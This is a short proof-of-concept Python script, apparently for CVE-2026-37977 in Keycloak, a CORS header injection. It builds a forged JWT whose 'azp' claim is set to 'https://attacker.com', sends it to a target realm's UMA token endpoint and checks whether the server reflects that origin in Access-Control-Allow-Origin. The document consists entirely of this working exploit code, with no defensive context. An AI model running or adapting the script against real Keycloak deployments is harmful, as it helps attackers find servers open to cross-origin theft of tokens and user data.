CVE-2026-37977 Keycloak CORS头注入漏洞

import requests import jwt # Conceptual PoC for CVE-2026-37977 # Target URL (Keycloak UMA token endpoint) target_url = "https://target-keycloak.com/realms/master/protocol/openid-connect/token" # Attacker controlled domain malicious_origin = "https://attacker.com" # Create a fake JWT payload with 'azp' set to attacker's domain # The vulnerability allows reflecting this value before signature validation payload = { "azp": malicious_origin, "sub": "user", "exp": 9999999999 } # Encode a token (signing algorithm does not matter for this PoC concept) token = jwt.encode(payload, "secret", algorithm="HS256") # Send request to the endpoint data = { "grant_type": "urn:ietf:params:oauth:grant-type:uma-ticket", "request_token": token } response = requests.post(target_url, data=data) print(f"Status Code: {response.status_code}") # Check if the Access-Control-Allow-Origin header reflects the malicious origin if "Access-Control-Allow-Origin" in response.headers: if response.headers["Access-Control-Allow-Origin"] == malicious_origin: print("[+] Vulnerability Confirmed: CORS header reflected!") print(f"[+] Header: {response.headers['Access-Control-Allow-Origin']}") else: print("[-] CORS header not reflected as expected.") else: print("[-] No CORS header found.")